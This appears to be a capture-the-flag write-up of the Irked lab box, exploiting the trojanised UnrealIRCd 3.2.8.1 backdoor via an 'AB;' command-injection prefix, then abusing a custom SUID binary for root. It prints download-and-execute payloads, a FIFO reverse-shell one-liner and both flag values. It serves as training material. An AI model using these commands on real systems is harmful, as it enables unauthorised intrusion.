Irked
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Irked is an easy Linux box with two very clean lessons. The first: the UnrealIRCd listening on three different ports is version 3.2.8.1, whose official source was trojanised in 2010 (CVE-2010-2075) (the UnrealIRCd back door). The public exploit fromsearchsploitdoes not need running; reading it is enough to see the trigger, anAB;prefix the server hands to a shell (from version to exploit, command injection). The second: afindfor SUID binaries returns one that is not Debian's,/usr/bin/viewuser, andltraceshows why it matters: it callssetuid(0)and thensystem("/tmp/listusers"), a file that does not exist and that anybody can create (SUID abuse).
About the evidence. This box has not a single capture: the vault note is text only and everything in it is a terminal, which is exactly where the standard prefers a transcript. The confirmation of the command injection is not something on screen but atcpdumpon our own machine, and it is published in full. The writeup does not reconstruct the road todjmardov: the note does not walk it anduser.txtis read already asroot, so that is what gets said instead of inventing an intermediate step. Both flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=63 is 64 minus one hop, so Linux.
ping -c 1 10.129.88.15964 bytes from 10.129.88.159: icmp_seq=1 ttl=63 time=21.6 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.88.159 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 23:55 +0000 Initiating SYN Stealth Scan at 23:55 Scanning 10.129.88.159 [65535 ports] Discovered open port 80/tcp on 10.129.88.159 Discovered open port 111/tcp on 10.129.88.159 Discovered open port 22/tcp on 10.129.88.159 Discovered open port 55323/tcp on 10.129.88.159 Discovered open port 55323/tcp on 10.129.88.159 Discovered open port 65534/tcp on 10.129.88.159 Discovered open port 6697/tcp on 10.129.88.159 Discovered open port 8067/tcp on 10.129.88.159 Completed SYN Stealth Scan at 23:55, 15.23s elapsed (65535 total ports) Nmap scan report for 10.129.88.159 Host is up, received user-set (0.038s latency). Scanned at 2026-11-10 23:55:24 UTC for 15s Not shown: 64575 closed tcp ports (reset), 953 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 111/tcp open rpcbind syn-ack ttl 63 6697/tcp open ircs-u syn-ack ttl 63 8067/tcp open infi-async syn-ack ttl 63 55323/tcp open unknown syn-ack ttl 63 65534/tcp open unknown syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 15.32 seconds Raw packets sent: 92539 (4.072MB) | Rcvd: 69215 (2.769MB)
nmap -p22,80,111,6697,8067,55323,65534 -sCV 10.129.88.159 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 23:55 +0000 Nmap scan report for 10.129.88.159 Host is up (0.024s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) | 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) | 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) |_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Site doesn't have a title (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 41738/udp status | 100024 1 45676/tcp6 status | 100024 1 47420/udp6 status |_ 100024 1 55323/tcp status 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd 55323/tcp open status 1 (RPC #100024) 65534/tcp open irc UnrealIRCd Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
Three ports with the same service: 6697, 8067 and 65534 are all UnrealIRCd. An IRC server listening in three places at once is not an oversight, it is the box pointing at the way in. Port 80 serves a page with no title and 22 is an OpenSSH from Debian 8.
UDP sweep#
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.129.88.159 | grep -v 'no-response'Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 23:47 +0000 Initiating UDP Scan at 23:47 Scanning 10.129.88.159 [1000 ports] Discovered open port 5353/udp on 10.129.88.159 Discovered open port 111/udp on 10.129.88.159 Completed UDP Scan at 23:47, 0.77s elapsed (1000 total ports) Nmap scan report for 10.129.88.159 Host is up, received user-set (0.036s latency). Scanned at 2026-11-10 23:47:45 UTC for 1s Not shown: 5 closed udp ports (port-unreach) PORT STATE SERVICE REASON 111/udp open rpcbind udp-response ttl 63 5353/udp open zeroconf udp-response ttl 254 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds Raw packets sent: 3115 (146.950KB) | Rcvd: 10 (790B)
nmap -p111,5353 -sUCV 10.129.88.159 -oN UDPtargetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 23:48 +0000 Nmap scan report for 10.129.88.159 Host is up (0.024s latency). PORT STATE SERVICE VERSION 111/udp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 41738/udp status | 100024 1 45676/tcp6 status | 100024 1 47420/udp6 status |_ 100024 1 55323/tcp status 5353/udp open mdns DNS-based service discovery | dns-service-discovery: | 9/tcp workstation: | ipv4: 10.129.88.159 | ipv6: dead:beef::a0de:adff:fec8:de46 | name: irked-2 [a2:de:ad:c8:de:46] | hostname: irked-2 | 80/tcp http: | ipv4: 10.129.88.159 | ipv6: dead:beef::a0de:adff:fec8:de46 |_ name: irked-2 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
The mDNS on 5353 is a discovery service meant for local networks, and here it gives away the machine's name (irked-2) and its MAC. It does not open the box, but it explains the 55323 from the TCP scan: it is rpcbind's status, which registers on a different high port on every boot.
Access: UnrealIRCd's back door#
Read the exploit instead of running it#
UnrealIRCd 3.2.8.1 is a famous case: between November 2009 and June 2010, the official source downloaded from the project's mirrors was modified, and the modification was a back door. It is not a programming flaw, it is a compromised supply chain (from version to exploit).
searchsploit 'unrealircd'--------------------------------------------------------------------------------------------------------------------------- --------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- --------- ... UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl ... --------------------------------------------------------------------------------------------------------------------------- ---------
searchsploit -m linux/remote/13853.plExploit: UnrealIRCd 3.2.8.1 - Remote Downloader/Execute URL: https://www.exploit-db.com/exploits/13853 Path: /usr/share/exploitdb/exploits/linux/remote/13853.pl Codes: CVE-2010-2075, OSVDB-65445 Verified: True File Type: Perl script text executable Copied to: /machines/htb/irked/nmap/13853.pl
The exploit is from 2010 and its payloads download files from domains that have been dead for fifteen years, so running it as is would do nothing. What does work is reading it.
cat 13853.pl| head -n 13#!/usr/bin/perl # Unreal3.2.8.1 Remote Downloader/Execute Trojan # DO NOT DISTRIBUTE -PRIVATE- # -iHaq (2l8) use Socket; use IO::Socket; ## Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &'; my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &'; my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &'; my $payload4 = 'AB; killall ircd';
The four payloads are different and all four start the same way: AB;. That is the trigger: the trojanised version recognises that prefix on any line sent to it and passes the rest to a system shell. Knowing that, the exploit is redundant: a nc is enough.
Confirm it out of band#
nc 10.129.88.159 8067:irked.htb NOTICE AUTH :*** Looking up your hostname... AB; whoami :irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead :irked.htb 451 AB; :You have not registered AB; ping -c 2 10.10.15.120 :irked.htb 451 AB; :You have not registered ERROR :Closing Link: [10.10.15.120] (Ping timeout)
This needs reading carefully, because the server's reply lies about the result. The 451 :You have not registered is what the IRC protocol answers anyone sending a command without identifying first, and it comes out whether the command ran or not. The whoami prints nothing on this screen, and that does not mean it did not run: it means its output goes to the server's shell, not to our connection. This is a blind injection.
Which is why the second command is not another whoami but a ping at us: if it runs, we will see it arrive.
sudo tcpdump -i tun0 icmp[sudo] password for krmena: tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 00:32:41.510097 IP 10.129.88.159 > kali: ICMP echo request, id 5461, seq 1, length 64 00:32:41.510133 IP kali > 10.129.88.159: ICMP echo reply, id 5461, seq 1, length 64 00:32:42.513040 IP 10.129.88.159 > kali: ICMP echo request, id 5461, seq 2, length 64 00:32:42.513099 IP kali > 10.129.88.159: ICMP echo reply, id 5461, seq 2, length 64
Two echo requests from 10.129.88.159, exactly the two packets ping -c 2 asked for. The confirmation is not on the IRC screen, it is on our own interface. That is how a blind injection gets proved: ask for something that will not show in the reply but will show on the wire.
The shell#
With execution confirmed, the payload stops being a ping and becomes a reverse shell. The FIFO form is the one that works when the target's netcat has no -e option: a named pipe is created, a shell is plugged into one end and nc into the other, and the >/tmp/f at the end closes the loop by feeding the output back into the same pipe.
echo -e 'AB; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.15.120 4444 >/tmp/f' | nc -nv 10.129.88.159 65534(UNKNOWN) [10.129.88.159] 65534 (?) open :irked.htb NOTICE AUTH :*** Looking up your hostname... :irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
Piping in with echo -e avoids typing inside the session, and the port chosen is 65534, another of the three the same UnrealIRCd listens on.
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.113 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from irked~10.129.88.159-Linux-i686 😍 Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: Ctrl+P [+] Logging to /root/.penelope/sessions/irked~10.129.88.159-Linux-i686/2026_11_11-01_11_36-712.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
whoamiircd
We are ircd, the user the IRC server runs as, and the shell lands in ~/Unreal3.2, its installation directory.
Privilege escalation#
A binary not from Debian#
find / -perm -4000 2>/dev/null/usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper /usr/sbin/exim4 /usr/sbin/pppd /usr/bin/chsh /usr/bin/procmail /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/at /usr/bin/pkexec /usr/bin/X /usr/bin/passwd /usr/bin/chfn /usr/bin/viewuser /sbin/mount.nfs /bin/su /bin/mount /bin/fusermount /bin/ntfs-3g /bin/umount
The whole list is an ordinary Debian's (passwd, su, mount, pkexec, chsh...) except for one line: /usr/bin/viewuser, which exists in no distribution. A custom SUID binary is always the road (SUID abuse).
/usr/bin/viewuserThis application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2026-11-10 19:51 (:0) sh: 1: /tmp/listusers: not found
Three things in that output. The program admits it is unfinished (typo "devleoped" included), it prints a line that is clearly who's output, and it ends with an error that says everything: it tries to run /tmp/listusers and it does not exist. To learn how it calls it, the binary has to be looked at from the inside, and for that it gets pulled over to the attacking machine.
cd /usr/bin/python3 -m http.server 8080Serving HTTP on 0.0.0.0 port 8080 ...
wget http://10.129.88.159:8080/viewuser... 2026-11-11 01:33:03 (128 B/s) - ‘viewuser’ saved [7328/7328]
chmod +x viewuserltrace: the calls the binary makes#
ltrace disassembles nothing: it simply intercepts calls to library functions and prints them with their arguments. For a small binary whose job is calling system(), that is enough and it reads straight through.
ltrace ./viewuser__libc_start_main(["./viewuser"] <unfinished ...> puts("This application is being devleo"...This application is being devleoped to set and test user permissions ) = 69 puts("It is still being actively devel"...It is still being actively developed ) = 37 system("who"krmena seat0 2026-11-09 22:01 (:0) <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) setuid(0) system("/tmp/listusers"sh: 1: /tmp/listusers: not found <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) +++ exited (status 0) +++
The trace reads top to bottom and is a three-act script: two puts with the messages, a system("who") whose output is mixed in with ltrace's own, and then the important part.
setuid(0) and, right after it, system("/tmp/listusers").
The setuid(0) makes the process really root, not just effectively, and the system() that follows inherits that privilege. And what it runs is an absolute path to a file that does not exist in a directory anybody can write to. No PATH to hijack and nobody to race against: creating the file is enough.
Create the missing file#
echo "/bin/sh" > /tmp/listusers
chmod +x /tmp/listusers/usr/bin/viewuserThis application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2026-11-10 19:51 (:0)
No error this time: instead of the complaint about /tmp/listusers what shows up is a new prompt, and it is a #, not a $. The system() ran our /bin/sh with the uid 0 the program had given itself one line earlier.
whoamiroot
cat /root/root.txt6327c1afb4cc8ca6c621e00aa1a587c4
cat /home/djmardov/user.txt3c098fce650b1cd43be3e27564a6c199
Both flags: 6327c1afb4cc8ca6c621e00aa1a587c4 and 3c098fce650b1cd43be3e27564a6c199. The user flag is read already as root: in this run there never was a shell as djmardov, because the escalation arrived before the lateral movement.
Attack chain#
ping ttl=63 → Linux / nmap -p-: 22, 80, 111 and THREE ports with UnrealIRCd (6697, 8067, 65534)
│ UDP: mDNS on 5353 gives away the machine's name, irked-2
▼
UnrealIRCd 3.2.8.1 ─► its official source was trojanised in 2010 (CVE-2010-2075)
│ searchsploit -m 13853.pl ─► it is NOT run: it is READ
▼
All four of the exploit's payloads start the same way: AB;
│ nc to 8067 + AB; whoami ─► the 451 comes out either way: the injection is BLIND
▼
AB; ping -c 2 <kali> + sudo tcpdump -i tun0 icmp ─► TWO echo requests from the victim
│ confirmed out of band, not in the reply
▼
echo -e 'AB; mkfifo /tmp/f ... nc <kali> 4444 >/tmp/f' | nc -nv <ip> 65534
│ penelope ─► shell as ircd, with a PTY
▼
find / -perm -4000 ─► the whole list is Debian's except /usr/bin/viewuser
│ running it fails: sh: 1: /tmp/listusers: not found
▼
python3 -m http.server in /usr/bin + wget ─► the binary on the Kali
│ ltrace ./viewuser ─► setuid(0) and THEN system("/tmp/listusers")
▼
echo "/bin/sh" > /tmp/listusers + chmod +x + /usr/bin/viewuser [escalation]
│ the prompt goes from $ to #
▼
root.txt and user.txt read already as rootLessons learned#
- A public exploit gets read before it gets run.
13853.plis fifteen years old and its downloads point at dead domains: running it would have done nothing. Reading it gives the only thing that was needed, that all four payloads share theAB;prefix, and with that the whole exploit becomes unnecessary. - A service can arrive compromised from the factory. UnrealIRCd 3.2.8.1's back door is not a programming error: somebody modified the code on the project's download servers and it stayed that way for seven months. Which is why checking package signatures and checksums is not paperwork.
- A blind injection gets confirmed out of band. The IRC reply was the same whether the command ran or not. What proves it is a
pingat our machine and atcpdumpwatching: the evidence is on the wire, not on the screen. - The FIFO reverse shell is the one that works without
nc -e. Most netcats on modern distributions ship without that option, and a named pipe does the same job with tools that are always there. - A
find / -perm -4000is read looking for what should NOT be there. A Debian's list is nearly always the same; the work is spotting the line that does not belong, and here it was a custom binary with a name no distribution carries. ltraceexplains a small binary without disassembling anything. Two calls were enough to understand all of it:setuid(0)followed bysystem()on a fixed path. The vulnerability is not in the code, it is in that path pointing at a non-existent file in a directory anybody can write to.